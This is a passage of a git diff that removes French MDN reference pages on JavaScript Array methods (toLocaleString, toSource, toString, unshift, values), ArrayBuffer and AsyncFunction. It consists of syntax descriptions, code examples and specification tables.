-      // 2. Let len be ? ToLength(? Get(A, "length")).
-      var len = a.length >>> 0;
-
-      // 3. Let separator be the String value for the
-      //    list-separator String appropriate for the
-      //    host environment's current locale (this is
-      //    derived in an implementation-defined way).
-      // NOTE: In this case, we will use a comma
-      var separator = ',';
-
-      // 4. If len is zero, return the empty String.
-      if (len === 0) {
-        return '';
-      }
-
-      // 5. Let firstElement be ? Get(A, "0").
-      var firstElement = a[0];
-      // 6. If firstElement is undefined or null, then
-      //  a.Let R be the empty String.
-      // 7. Else,
-      //  a. Let R be ?
-      //     ToString(?
-      //       Invoke(
-      //        firstElement,
-      //        "toLocaleString",
-      //        « locales, options »
-      //       )
-      //     )
-      var r = firstElement == null ?
-        '' : firstElement.toLocaleString(locales, options);
-
-      // 8. Let k be 1.
-      var k = 1;
-
-      // 9. Repeat, while k < len
-      while (k < len) {
-        // a. Let S be a String value produced by
-        //   concatenating R and separator.
-        var s = r + separator;
-
-        // b. Let nextElement be ? Get(A, ToString(k)).
-        var nextElement = a[k];
-
-        // c. If nextElement is undefined or null, then
-        //   i. Let R be the empty String.
-        // d. Else,
-        //   i. Let R be ?
-        //     ToString(?
-        //       Invoke(
-        //        nextElement,
-        //        "toLocaleString",
-        //        « locales, options »
-        //       )
-        //     )
-        r = nextElement == null ?
-          '' : nextElement.toLocaleString(locales, options);
-
-        // e. Let R be a String value produced by
-        //   concatenating S and R.
-        r = s + r;
-
-        // f. Increase k by 1.
-        k++;
-      }
-
-      // 10. Return R.
-      return r;
-    }
-  });
-}
-
- -

S'il faut absolument prendre en charge les moteurs JavaScript qui ne supportent pas {{jsxref("Object.defineProperty()")}}, mieux vaut ne pas ajouter de prothèse pour les méthodes Array.prototype car elles ne peuvent pas être rendues non-énumérables.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}{{Spec2('ESDraft')}}Définition initiale dans ECMAScript 3.
{{SpecName('ES Int Draft', '#sup-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}{{Spec2('ES Int Draft')}}Cette définition remplace la définition fournit dans ECMA-262.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.toLocaleString")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.toString()")}}
    • -
  • {{jsxref("Intl")}}
    • -
  • {{jsxref("Object.prototype.toLocaleString()")}}
    • -
  • {{jsxref("Number.prototype.toLocaleString()")}}
    • -
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/array/tosource/index.html deleted file mode 100644 index e6800fd64c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/tosource/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Array.prototype.toSource() -slug: Web/JavaScript/Reference/Objets_globaux/Array/toSource -tags: - - Array - - JavaScript - - Méthode - - Non-standard - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource ---- -
{{JSRef}}{{Non-standard_header}}
- -

La méthode toSource() renvoie une chaine de caractères représentant le code source du tableau.

- -

Syntaxe

- -
arr.toSource()
- -

Valeur de retour

- -

Une chaîne de caractères qui représente le code source du tableau.

- -

Description

- -

La méthode toSource() renvoie les valeurs suivantes :

- -
    -
  • Pour l'objet {{jsxref("Array")}} natif, toSource() renvoie la chaîne de caractères suivante indiquant que le code source n'est pas disponible : - - 
    function Array() {
-    [native code]
-}
-
    -
    • -
  • Pour les instances d'{{jsxref("Array")}}, toSource() renvoie une chaîne représentant le code source.
    • -
- -

Cette méthode est habituellement appelée en interne par le moteur JavaScript et n'est pas utilisée explicitement dans du code. Il est cependant possible d'appeler toSource() lors du débogage pour examiner le contenu d'un tableau.

- -

Exemples

- -

Examiner le code source d'un tableau

- -

Pour examiner le code source d'un tableau :

- -
var alpha = new Array("a", "b", "c");
-alpha.toSource();
-// renvoie ["a", "b", "c"]
-
- -

Spécifications

- -

Ne fait partie d'aucun standard. Implémenté dans JavaScript 1.3.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.toSource")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}}
    • -
  • {{jsxref("Array.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/array/tostring/index.html deleted file mode 100644 index b7b252c1fb..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/tostring/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Array.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/Array/toString -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une chaine de caractères représentant le tableau spécifié et ses éléments.

- -
{{EmbedInteractiveExample("pages/js/array-tostring.html")}}
- - - -

Syntaxe

- -
arr.toString()
- -

Valeur de retour

- -

Une chaîne de caractères qui représente les éléments du tableau.

- -

Description

- -

L'objet {{jsxref("Array")}} redéfinit la méthode toString d'{{jsxref("Object")}}. Pour les objets Array, la méthode toString() concatène les éléments du tableau et renvoie une chaîne contenant chacun des éléments, séparés par des virgules.

- -

JavaScript appelle la méthode toString() automatiquement lorsqu'un tableau doit être représenté par une valeur texte ou lorsqu'on fait référence à un tableau dans une concaténation de chaines de caractères.

- -

Sémantique d'ECMAScript 5

- -

À partir de JavaScript 1.8.5 (Firefox 4), et en cohérence avec la 5e édition d'ECMAScript, la méthode toString() est générique et peut être utilisé avec n'importe quel objet. {{jsxref("Object.prototype.toString()")}} sera appelée, et la valeur résultante sera renvoyée.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.4.4.2', 'Array.prototype.toString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.toString")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}}
    • -
  • {{jsxref("Array.prototype.join()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/unshift/index.html b/files/fr/web/javascript/reference/objets_globaux/array/unshift/index.html deleted file mode 100644 index 04115c0986..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/unshift/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Array.prototype.unshift() -slug: Web/JavaScript/Reference/Objets_globaux/Array/unshift -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift ---- -
{{JSRef}}
- -

La méthode unshift() ajoute un ou plusieurs éléments au début d'un tableau et renvoie la nouvelle longueur du tableau.

- -
{{EmbedInteractiveExample("pages/js/array-unshift.html")}}
- - - -

Syntaxe

- -
arr.unshift([élém1[, ...[, élémN]]])
- -

Paramètres

- -
-
élémN
-
Les éléments que l'on souhaite ajouter en début de tableau.
-
- -

Valeur de retour

- -

La nouvelle valeur de la propriété {{jsxref("Array.length", "length")}} du tableau sur lequel a été appelée la méthode.

- -

Description

- -

La méthode unshift() insère les valeurs renseignées au début d'un objet ressemblant à un tableau.

- -

unshift() est volontairement générique ; cette méthode peut être {{jsxref("Function.call", "appelée","",1)}} ou {{jsxref("Function.apply", "appliquée","",1)}} sur des objets ressemblant à des tableaux. Les objets qui ne contiennent pas une propriété length reflètant la fin d'une série de propriétés indexées numériquement pourront ne pas avoir un comportement cohérent avec cette méthode.

- -

Attention, lorsqu'on utilise unshift() avec plusieurs arguments, ceux-ci sont insérés au début du tableau dans l'ordre selon lequel ils sont passés en arguments. Aussi, on n'obtiendra pas le même résultat en appelant unshift() n fois avec 1 arguments ou en appelant unshift() avec n arguments.

- -
let arr = [4, 5, 6];
-
-arr.unshift(1, 2, 3);
-console.table(arr);
-// [1, 2, 3, 4, 5, 6]
-
-let arr2 = [4, 5, 6];
-
-arr2.unshift(1);
-arr2.unshift(2);
-arr2.unshift(3);
-
-console.table(arr2);
-// [3, 2, 1, 4, 5, 6]
- -

Exemples

- -
var arr = [1, 2];
-
-arr.unshift(0); // renvoie 3, la nouvelle longueur du tableau
-// arr est [0, 1, 2]
-
-arr.unshift(-2, -1); // = 5
-// arr est [-2, -1, 0, 1, 2]
-
-arr.unshift( [-3] ); // 6
-// arr est [[-3], -2, -1, 0, 1, 2]
-
-arr.unshift([-7, -6], [-5]); // 8
-// arr est [[-7, -6], [-5], [-3], -2, -1, 0, 1, 2]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.unshift")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.push()")}}
    • -
  • {{jsxref("Array.prototype.pop()")}}
    • -
  • {{jsxref("Array.prototype.shift()")}}
    • -
  • {{jsxref("Array.prototype.concat()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/values/index.html b/files/fr/web/javascript/reference/objets_globaux/array/values/index.html deleted file mode 100644 index 26e1c20bf8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/values/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Array.prototype.values() -slug: Web/JavaScript/Reference/Objets_globaux/Array/values -tags: - - Array - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/values ---- -
{{JSRef}}
- -

La méthode values() renvoie un nouvel objet Array Iterator qui contient les valeurs pour chaque indice du tableau. Cette méthode est l'implémentation par défaut de Array.prototype[Symbol.Iterator].

- -

{{EmbedInteractiveExample("pages/js/array-values.html")}}

- -
var a = ['t', 'i', 't', 'o', 'u'];
-var iterateur = a.values();
-
-console.log(iterateur.next().value); // t
-console.log(iterateur.next().value); // i
-console.log(iterateur.next().value); // t
-console.log(iterateur.next().value); // o
-console.log(iterateur.next().value); // u
-
- -

Syntaxe

- -
array.values()
- -

Valeur de retour

- -

Un nouvel objet itérateur sur {{jsxref("Array")}}.

- -

Exemples

- -

Itérer avec une boucle for...of

- -
var arr = ['w', 'y', 'k', 'o', 'p'];
-var eArr = arr.values();
-// votre navigateur doit supporter les boucles for..of
-// et les variables définies avec let
-for (let lettre of eArr) {
-  console.log(lettre);
-}
-
- -

Itérer avec next()

- -
var arr = ['w', 'y', 'k', 'o', 'p'];
-var eArr = arr.values();
-console.log(eArr.next().value); // w
-console.log(eArr.next().value); // y
-console.log(eArr.next().value); // k
-console.log(eArr.next().value); // o
-console.log(eArr.next().value); // p
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.values")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.keys()")}}
    • -
  • {{jsxref("Array.prototype.entries()")}}
    • -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • {{jsxref("Array.prototype.every()")}}
    • -
  • {{jsxref("Array.prototype.some()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/@@species/index.html deleted file mode 100644 index edf4cdfdde..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/@@species/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: 'get ArrayBuffer[@@species]' -slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/@@species -tags: - - ArrayBuffer - - JavaScript - - Propriété - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/@@species ---- -
{{JSRef}}
- -

La propriété d'accesseur ArrayBuffer[@@species] renvoie le constructeur ArrayBuffer.

- -

Syntaxe

- -
ArrayBuffer[Symbol.species]
-
- -

Description

- -

L'accesseur species renvoie le constructeur par défaut pour les objets ArrayBuffer. Les constructeurs des sous-classes peuvent surcharger ce symbole pour modifier l'affectation du constructeur.

- -

Exemples

- -

La propriété species renvoie le constructeur par défaut, soit ArrayBuffer dans le cas des objets ArrayBuffer :

- -
ArrayBuffer[Symbol.species]; // function ArrayBuffer()
- -

Pour un objet dérivé (par exemple une classe sur mesure MonArrayBuffer), le symbole species renverra le constructeur MonArrayBuffer. Il est possible de surcharger ce comportement pour renvoyer le constructeur ArrayBuffer :

- -
class MonArrayBuffer extends ArrayBuffer {
-  // On surcharge species pour renvoyer
-  // le constructeur parent ArrayBuffer
-  static get [Symbol.species]() { return ArrayBuffer; }
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.ArrayBuffer.@@species")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("ArrayBuffer")}}
    • -
  • {{jsxref("Symbol.species")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/bytelength/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/bytelength/index.html deleted file mode 100644 index 6cf497e790..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/bytelength/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: ArrayBuffer.prototype.byteLength -slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/byteLength -tags: - - ArrayBuffer - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength ---- -
{{JSRef}}
- -

L'accesseur byteLength est une propriété représentant la longueur d'un {{jsxref("ArrayBuffer")}} en octets.

- -
{{EmbedInteractiveExample("pages/js/arraybuffer-bytelength.html")}}
- - - -

Syntaxe

- -
arraybuffer.byteLength
- -

Description

- -

La propriété byteLength est un accesseur dont le mutateur associé vaut undefined. Cela signifie que cette propriété est en lecture seule. La valeur est déterminée lors de la construction du tableau et ne peut pas être changée par la suite. Cette propriété renvoie 0 si ce ArrayBuffer a été détaché.

- -

Exemples

- -
var buffer = new ArrayBuffer(8);
-buffer.byteLength; // 8
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.ArrayBuffer.byteLength")}}

- -

Voir aussi

- -
    -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/index.html deleted file mode 100644 index 400f1cdf38..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: ArrayBuffer -slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer -tags: - - ArrayBuffer - - Constructor - - JavaScript - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer ---- -
{{JSRef}}
- -

L'objet ArrayBuffer est utilisé afin de représenter un tampon (buffer) de données binaires de longueur fixe de façon générique. C'est un tableau d'octets. La manipulation du contenu d'un ArrayBuffer se fait de façon indirecte en créant un tableau typé ou un objet {{jsxref("DataView")}} qui permet de représenter le tampon dans un format donné qui permet de lire/écrire des contenus dans le tampon de mémoire.

- -
{{EmbedInteractiveExample("pages/js/arraybuffer-constructor.html")}}
- - - -

Syntaxe

- -
new ArrayBuffer(longueur)
-
- -

Paramètres

- -
-
longueur
-
La taille, exprimée en octets, du tableau représentant le tampon.
-
- -

Valeur de retour

- -

Un nouvel objet ArrayBuffer de la taille donnée. Ses éléments sont initialisés à 0.

- -

Exceptions

- -

Une exception {{jsxref("RangeError")}} est levée lorsque l'argument longueur est supérieur à {{jsxref("Number.MAX_SAFE_INTEGER")}} (soit 253) ou s'il est négatif.

- -

Description

- -

Le constructeur ArrayBuffer crée une nouvelle instance d'ArrayBuffer dont la longueur est celle donnée lors de la construction.

- -

Obtenir un tampon mémoire depuis des données existantes

- - - -

Propriétés

- -
-
ArrayBuffer.length
-
La longueur du constructeur ArrayBuffer. Elle vaut 1.
-
{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}
-
La fonction de construction utilisée pour créer les objets dérivés.
-
{{jsxref("ArrayBuffer.prototype")}}
-
Cette propriété permet d'ajouter des propriétés à tous les objets ArrayBuffer.
-
- -

Méthodes

- -
-
{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}
-
Cette méthode renvoie true si arg est une des vues sur l'ArrayBuffer telle qu'un tableau typé ou un objet {{jsxref("DataView")}}, sinon elle renvoie false.
-
{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(ancienTampon [, nouvelleLongueur])")}} {{experimental_inline}}
-
-
Cette méthode renvoie un nouvel objet ArrayBuffer dont le contenu est transféré depuis les données de ancienTampon et qui est ensuite tronqué ou rallongé avec des zéros pour que la taille du nouveau tampon soit nouvelleLongueur.
-
-
- -

Les instances d'ArrayBuffer

- -

Toutes les instances d'ArrayBuffer héritent de {{jsxref("ArrayBuffer.prototype")}}.

- -

Propriétés

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/prototype','Propri.C3.A9t.C3.A9s')}}

- -

Méthodes

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/prototype','M.C3.A9thodes')}}

- -
-
{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}
-
Cette méthode fournit la même fonctionnalité que {{jsxref("ArrayBuffer.prototype.slice()")}}.
-
- -

Exemple

- -

Dans cet exemple, on crée un tampon sur 8 octets avec une vue {{jsxref("Int32Array")}} qui fait référence à ce tampon :

- -
var tampon = new ArrayBuffer(8);
-var vue    = new Int32Array(tampon);
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 6.
{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA. new est obligaoire pour utiliser le constructeur.
{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.ArrayBuffer")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), ArrayBuffer doit être utilisée avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur ArrayBuffer comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = ArrayBuffer(10);
-// TypeError: calling a builtin ArrayBuffer constructor
-// without new is forbidden
- -
var dv = new ArrayBuffer(10);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/isview/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/isview/index.html deleted file mode 100644 index 990b6b6d62..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/isview/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: ArrayBuffer.isView() -slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/isView -tags: - - ArrayBuffer - - JavaScript - - Méthode - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView ---- -
{{JSRef}}
- -

La méthode ArrayBuffer.isView() renvoie true si l'argument passé est une des vues ArrayBuffer, comme par exemple un tableau typé ou une {{jsxref("DataView")}} ; false sinon.

- -
{{EmbedInteractiveExample("pages/js/arraybuffer-isview.html")}}
- - - -

Syntaxe

- -
ArrayBuffer.isView(arg)
- -

Paramètres

- -
-
arg
-
L'argument dont on souhaite savoir s'il est une vue.
-
- -

Valeur de retour

- -

true si la valeur passée en argument est une des vues du tableau ArrayBuffer, false sinon.

- -

Exemples

- -
ArrayBuffer.isView();                    // false
-ArrayBuffer.isView([]);                  // false
-ArrayBuffer.isView({});                  // false
-ArrayBuffer.isView(null);                // false
-ArrayBuffer.isView(undefined);           // false
-ArrayBuffer.isView(new ArrayBuffer(10)); // false
-
-ArrayBuffer.isView(new Uint8Array());    // true
-ArrayBuffer.isView(new Float32Array());  // true
-ArrayBuffer.isView(new Int8Array(10).subarray(0, 3)); // true
-
-var buffer = new ArrayBuffer(2);
-var dv = new DataView(buffer);
-ArrayBuffer.isView(dv); // true
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 2015
{{SpecName('ES2015', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}}{{Spec2('ES2015')}}Définition initiale dans un standard ECMA.
{{SpecName('ESDraft', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.ArrayBuffer.isView")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/prototype/index.html deleted file mode 100644 index a0c018f6ed..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/prototype/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: ArrayBuffer.prototype -slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/prototype -tags: - - ArrayBuffer - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer -translation_of_original: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype ---- -
{{JSRef}}
- -

La propriété ArrayBuffer.prototype représente le prototype de l'objet {{jsxref("ArrayBuffer")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Les instances de ArrayBuffer héritent toutes de ArrayBuffer.prototype. Il est donc possible de modifier le protoype du constructeur pour apporter des changements à chacune des instances ArrayBuffer.

- -

Propriétés

- -
-
ArrayBuffer.prototype.constructor
-
Définit la fonction qui crée le prototype d'un objet. La valeur initiale correspond au constructeur natif ArrayBuffer.
-
{{jsxref("ArrayBuffer.prototype.byteLength")}} {{readonlyInline}}
-
La taille du tableau en octets. Cette propriété est déterminée lors de la construction du tableau et ne peut pas être changée. Propriété en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("ArrayBuffer.prototype.slice()")}}
-
Renvoie un nouvel ArrayBuffer dont le contenu est une copie des octets contenus dans l'objet ArrayBuffer depuis begin (compris), jusqu'à end (non-compris). Si begin ou end est négatif, cela fait référence à l'indice à partir de la fin du tableau et non à l'indice à partir du début du tableau.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.ArrayBuffer.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/slice/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/slice/index.html deleted file mode 100644 index c34eb843d5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/slice/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: ArrayBuffer.prototype.slice() -slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/slice -tags: - - ArrayBuffer - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice ---- -
{{JSRef}}
- -

La méthode slice() renvoie un nouvel ArrayBuffer dont le contenu est une copie des octets du ArrayBuffer courant, contenus entre début (compris) et fin (non-compris).

- -
{{EmbedInteractiveExample("pages/js/arraybuffer-slice.html")}}
- - - -

Syntaxe

- -
arraybuffer.slice(début[, fin])
- -

Paramètres

- -
-
début
-
Indice (numérotation commençant à zéro) de l'octet à partir duquel découper le tableau.
-
- -
-
fin
-
Indice de l'octet auquel finir la découpe du tableau. Si ce paramètre n'est pas fourni, le nouvel ArrayBuffer contiendra tous les octets entre début et la fin du ArrayBuffer courant. L'intervalle défini par les valeurs début et fin est réduit à un intervalle valide pour le tableau courant si nécessaire. Si la longueur du nouveau tableau ArrayBuffer sera négative, l'intervalle est réduit à zéro.
-
- -

Valeur de retour

- -

Un nouvel objet ArrayBuffer.

- -

Description

- -

La méthode slice copie les octets contenus jusqu'au (au sens exclusif) paramètre fin. Si le paramètre début ou  fin est négatif, il fera référence à l'indice à partir de la fin du tableau et non pas à l'indice à partir du début du tableau.

- -

Exemples

- -

Copier un ArrayBuffer

- -
var buf1 = new ArrayBuffer(8);
-var buf2 = buf1.slice(0)
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans EMCAScript 6.
{{SpecName('ES6', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.ArrayBuffer.slice")}}

- -

Voir aussi

- -
    -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/asyncfunction/index.html b/files/fr/web/javascript/reference/objets_globaux/asyncfunction/index.html deleted file mode 100644 index 831cb4a055..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/asyncfunction/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: AsyncFunction -slug: Web/JavaScript/Reference/Objets_globaux/AsyncFunction -tags: - - Constructeur - - Experimental - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction ---- -
{{JSRef}}
- -

Le constructeur AsyncFunction crée un nouvel objet pour {{jsxref("Instructions/async function", "une fonction asynchrone","",1)}}. En JavaScript, chaque fonction asynchrone est en fait un objet AsyncFunction.

- -

Attention, AsyncFunction n'est pas un objet global. On peut l'obtenir grâce au code suivant :

- -
Object.getPrototypeOf(async function(){}).constructor
-
- -

Syntaxe

- -
new AsyncFunction ([arg1[, arg2[, ...argN]],] functionBody)
- -

Paramètres

- -
-
arg1, arg2, ... argN
-
Les noms des paramètres passés à la fonction. Chacun doit être une chaîne de caractères qui puisse être un identifiant JavaScript valide ou une liste de telles chaînes séparées par une virgule (ex. "x", "laValeur", ou "a,b").
-
functionBody
-
Une chaîne de caractères qui contient les instructions JavaScript définissant la définition de la fonction.
-
- -

Description

- -

Les objets des {{jsxref("Instructions/async_function", "fonctions asynchrones","",1)}} créés avec le constructeur AsyncFunction sont analysés lorsque la fonction est créée. C'est moins efficace que de déclarer une fonction asynchrone avec une {{jsxref("Instructions/async_function", "expression de fonction asynchrone")}} et de l'appeler depuis le code car ces fonctions sont analysées avec le reste du code.

- -

Tous les arguments passés à la fonction sont traités comme les noms des identifiants des paramètres de la fonction qui sera créée, dans l'ordre dans lequel ils sont passés.

- -
-

